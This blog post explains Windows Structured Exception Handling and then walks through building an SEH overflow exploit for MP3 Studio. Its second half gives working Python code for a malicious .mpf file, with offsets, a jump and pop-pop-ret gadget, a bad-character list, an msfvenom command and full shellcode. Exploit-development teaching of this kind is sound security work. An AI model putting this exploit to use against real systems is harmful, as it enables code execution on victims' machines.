Windows SEH Overflow (MP3 Studio) — With SEH basics

@fuffsec
6 min readNov 8, 2022

Let’s first discuss what Exception Handlers actually are, the different varieties, and what function they provide inside the Windows OS before we move into looking at this from an exploitation standpoint.

What is an Exception?

An exception is an event that occurs during the execution of a program/function

Different Types of Handlers

Exception Handler (EH) — A piece of code that will attempt to do something and have pre-defined courses to take depending on the outcome. For example, try to do this if you fail to do this.

Structured Exception Handler (SEH) — Windows in-built Exception Handler that can be used to fall back on if your development-specific Exception Handler fails or to be used primarily.

Next Structured Exception Handler (nSEH) — Now as you can see above I have mentioned EH/SEH truthfully because Exception Handlers are split up into two different categories, OS Level handlers and/or Handlers implemented by developers themselves. As you can see Windows has an OS Level called SEH.

So basically Exception Handlers are pieces of code written inside a program, with the sole purpose of dealing with any exceptions or errors the application may throw. For example:

try
{
// Code to try goes here.
}
catch (SomeSpecificException ex)
{
// Code to handle the exception goes here.
}
finally
{
// Code to execute after the try (and possibly catch) blocks
// goes here.
}

It is also important to note that all Exception Handlers are controlled and maintained centrally and consistently by the Windows SEH via a selection of predefined memory locations and functions, regardless of where the Exception Handler is declared, whether it be at the OS-Level and/or Developer Level.

So How Do Structured Exception Handlers Work?

A data structure/layout called a Linked List, which has a list of memory addresses, is used by Windows’ SEH mechanism. The handler will choose the most appropriate course of action to either gracefully terminate the application or carry out a specified action to recover from the exception when an exception is generated. The OS will get the head of the SEH-Chain and traverse the list.

When we start an application, it is executed and a stack frame is produced for each individual function that is called from within the program until being eventually popped off once the function returns or completes processing. The same now applies to exception handlers. Basically, if you run a function with an Exception Handler embedded in itself- that exception handler will get its own dedicated stack frame.

Well for every Exception Handler, there is an Exception Registration Record configured which is all chained together to form a linked list. The Exception Registration Record contains numerous fields but namely the _EXCEPTION_REGISTRATION_RECORD *Next; which defines the next Exception Registration Record in the SEH Chain - This is what allows us to navigate the SEH Chain from top-to-bottom.

Now, you might be wondering how Windows SEH uses the Exception Registration Record & Handlers, etc. Well when an exception occurs, the OS will start at the top of the SEH Chain and will check the first Exception Registration Record to see if it can handle the exception/error, if it can it will execute the code block defined by the pointer to the Exception Handler — However, if it can’t it will move down the SEH Chain utilizing the _EXCEPTION_REGISTRATION_RECORD *Next; field to move to the next record and it will continue to do so all the way down the chain until it finds a record/handler that is able to handle the exception.

But what if none of the pre-defined exception handler functions are applicable? Well windows place a default/generic exception handler at the bottom of every SEH Chain which can provide a generic message like Your program has stopped responding and needs to close - The generic handler is represented in the picture above by 0xffffff

Crash the program

File : https://www.exploit-db.com/exploits/9291

Use the payload below to create a .mpf file which will crash the mp3 studio.

file = "exploit.mpf"buffer = "A"*4700fp = open(file, "w")
fp.write(buffer)
fp.close()
application crashed
passing the exception and we can see that we have control on EIP

Find the offset to SEH

let’s use Mona to create a pattern of proper length

!mona pattern_create 4700

The pattern will be stored in the “C:\Program Files\Immunity Inc\Immunity Debugger”

passing the pattern input

The offset is found at 4116.

So, the SEH pointer is being overwritten at offset 4116. But, we should also consider that in the SEH structure, there is an nSEH pointer before it, and it is 4-bytes wide. We should thus subtract 4 from the displayed value. With that said, the SEH structure is starting to be overwritten at byte 4112.

file = "exploit.mpf"
buffer = "A"*4112
buffer += "BBBB"
buffer += "CCCC"
buffer += "DDDD"*400
fp = open(file, "w")
fp.write(buffer)
fp.close()

let’s pass the new payload and see whether we are right

SEH chain

We can see the SEH chain and confirm it.

Move the execution flow past the SEH entry

let’s find a proper SEH gadget in order to redirect execution flow to our buffer. This can be done with Mona, as follows.

!mona seh

copy the address where we have all exploit protections set to false

After that,we need to place a jump statement in our nSEH.

we will be going with EB 22 instruction to jump 30 byte forward.

file = "exploit.mpf"
buffer = "A"*4112
buffer += "\xeb\x22\x90\x90" # jump 30 byte forward
buffer += "\x28\x03\x01\x10" # pop pop ret gadget
buffer += "\x90"*50
buffer += "\xcc" # pointer
buffer += "DDDD"*400
fp = open(file, "w")
fp.write(buffer)
fp.close()

After launching the latest exploit and after passing the exception to the program, we can see that are executing code from our D-buffer.

we could see that we are reaching the shellcode.

bad characters finding

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f" "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f" "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

using the above list as badchars, we can find out that we have the following as badchars:

\x0a\x00\x0d\x37\x1a

Final exploit

using msfvenom for shellcode,

msfvenom -p windows/exec cmd=calc.exe -b "\x0a\x00\x0d\x37\x1a" -f csc = ("\xb8\xb2\x9e\x3c\x9c\xda\xd3\xd9\x74\x24\xf4\x5b\x29\xc9\xb1" "\x31\x83\xeb\xfc\x31\x43\x0f\x03\x43\xbd\x7c\xc9\x60\x29\x02" "\x32\x99\xa9\x63\xba\x7c\x98\xa3\xd8\xf5\x8a\x13\xaa\x58\x26" "\xdf\xfe\x48\xbd\xad\xd6\x7f\x76\x1b\x01\xb1\x87\x30\x71\xd0" "\x0b\x4b\xa6\x32\x32\x84\xbb\x33\x73\xf9\x36\x61\x2c\x75\xe4" "\x96\x59\xc3\x35\x1c\x11\xc5\x3d\xc1\xe1\xe4\x6c\x54\x7a\xbf" "\xae\x56\xaf\xcb\xe6\x40\xac\xf6\xb1\xfb\x06\x8c\x43\x2a\x57" "\x6d\xef\x13\x58\x9c\xf1\x54\x5e\x7f\x84\xac\x9d\x02\x9f\x6a" "\xdc\xd8\x2a\x69\x46\xaa\x8d\x55\x77\x7f\x4b\x1d\x7b\x34\x1f" "\x79\x9f\xcb\xcc\xf1\x9b\x40\xf3\xd5\x2a\x12\xd0\xf1\x77\xc0" "\x79\xa3\xdd\xa7\x86\xb3\xbe\x18\x23\xbf\x52\x4c\x5e\xe2\x38" "\x93\xec\x98\x0e\x93\xee\xa2\x3e\xfc\xdf\x29\xd1\x7b\xe0\xfb" "\x96\x74\xaa\xa6\xbe\x1c\x73\x33\x83\x40\x84\xe9\xc7\x7c\x07" "\x18\xb7\x7a\x17\x69\xb2\xc7\x9f\x81\xce\x58\x4a\xa6\x7d\x58" "\x5f\xc5\xe0\xca\x03\x24\x87\x6a\xa1\x38")

Here’s the full exploit code.

file = "exploit.mpf"sc = ("\xb8\xb2\x9e\x3c\x9c\xda\xd3\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
"\x31\x83\xeb\xfc\x31\x43\x0f\x03\x43\xbd\x7c\xc9\x60\x29\x02"
"\x32\x99\xa9\x63\xba\x7c\x98\xa3\xd8\xf5\x8a\x13\xaa\x58\x26"
"\xdf\xfe\x48\xbd\xad\xd6\x7f\x76\x1b\x01\xb1\x87\x30\x71\xd0"
"\x0b\x4b\xa6\x32\x32\x84\xbb\x33\x73\xf9\x36\x61\x2c\x75\xe4"
"\x96\x59\xc3\x35\x1c\x11\xc5\x3d\xc1\xe1\xe4\x6c\x54\x7a\xbf"
"\xae\x56\xaf\xcb\xe6\x40\xac\xf6\xb1\xfb\x06\x8c\x43\x2a\x57"
"\x6d\xef\x13\x58\x9c\xf1\x54\x5e\x7f\x84\xac\x9d\x02\x9f\x6a"
"\xdc\xd8\x2a\x69\x46\xaa\x8d\x55\x77\x7f\x4b\x1d\x7b\x34\x1f"
"\x79\x9f\xcb\xcc\xf1\x9b\x40\xf3\xd5\x2a\x12\xd0\xf1\x77\xc0"
"\x79\xa3\xdd\xa7\x86\xb3\xbe\x18\x23\xbf\x52\x4c\x5e\xe2\x38"
"\x93\xec\x98\x0e\x93\xee\xa2\x3e\xfc\xdf\x29\xd1\x7b\xe0\xfb"
"\x96\x74\xaa\xa6\xbe\x1c\x73\x33\x83\x40\x84\xe9\xc7\x7c\x07"
"\x18\xb7\x7a\x17\x69\xb2\xc7\x9f\x81\xce\x58\x4a\xa6\x7d\x58"
"\x5f\xc5\xe0\xca\x03\x24\x87\x6a\xa1\x38")
buffer = "A"*4112
buffer += "\xeb\x22\x90\x90" # jump 30 byte forward
buffer += "\x28\x03\x01\x10" # pop pop ret gadget
buffer += "\x90"*50
buffer += sc
fp = open(file, "w")
fp.write(buffer)
fp.close()

Please give me a clap if you found it to be useful and follow me to get more hacking knowledge.

You can buy me a coffee if you would like to -> https://www.buymeacoffee.com/gowthamaraj

References

  1. https://www.exploit-db.com/exploits/9291

--

--

@fuffsec

Security Researcher | (OSWE, OSCP, OSWA, OSWP, CRTP, eWPTX, SSCP)